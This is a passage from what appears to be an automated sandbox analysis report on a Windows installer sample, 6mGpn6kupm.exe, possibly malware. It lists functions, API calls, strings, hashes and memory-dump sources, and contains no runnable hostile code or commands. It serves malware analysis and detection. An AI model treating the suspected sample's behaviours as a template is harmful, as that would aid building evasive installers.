Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,774D3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

(7B, xrefs: 00403B04
RichEdit20W, xrefs: 00403D24, 00403D2A
1033, xrefs: 00403AF8, 00403B54
_Nb, xrefs: 00403C5C, 00403CC4
RichEd20, xrefs: 00403D06
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEdit, xrefs: 00403D33
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-268981469
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\6mGpn6kupm.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\6mGpn6kupm.exe,C:\Users\user\Desktop\6mGpn6kupm.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

'F, xrefs: 00402FDA, 00402FF9, 00403088
C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
Null, xrefs: 00403029
C:\Users\user\Desktop\6mGpn6kupm.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
soft, xrefs: 00403020
Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: 'F$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\6mGpn6kupm.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3902140428
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Bargains,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Bargains,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Iw\Bargains, xrefs: 0040179E
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsvC041.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Iw\Bargains$C:\Users\user\AppData\Local\Temp\nsvC041.tmp$C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll$Call
API String ID: 1941528284-708030421
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3080008178
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 701C1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 701C1B5F: GlobalFree.KERNEL32(?), ref: 701C1DB2
Part of subcall function 701C1B5F: GlobalFree.KERNEL32(?), ref: 701C1DB7
Part of subcall function 701C1B5F: GlobalFree.KERNEL32(?), ref: 701C1DBC

GlobalFree.KERNEL32(00000000), ref: 701C1825
FreeLibrary.KERNEL32(?), ref: 701C18AB
GlobalFree.KERNEL32(00000000), ref: 701C18D0

Part of subcall function 701C2352: GlobalAlloc.KERNEL32(00000040,?), ref: 701C2383

Part of subcall function 701C2724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,701C17F6,00000000), ref: 701C27F4

Part of subcall function 701C15C6: wsprintfW.USER32 ref: 701C15F4

Strings

, xrefs: 701C18B1

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: f0a12cde1c2364ac89959d9672e8f532774231f223ea72288b7754d736bb7da1
Instruction ID: 5a5086e16e8ca9b9f55261a70f0084783fc9a43fed5faa0f6430f6aad91cc326
Opcode Fuzzy Hash: f0a12cde1c2364ac89959d9672e8f532774231f223ea72288b7754d736bb7da1
Instruction Fuzzy Hash: 7141A0724442459BDB119F60DC85B9F3BA8BB36310F264079FD079AA8ADBB8D485CB60

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsvC041.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsvC041.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsvC041.tmp
API String ID: 2655323295-3820978396
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,774D3420,004036EF), ref: 00405F46

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16
nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-386316673
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

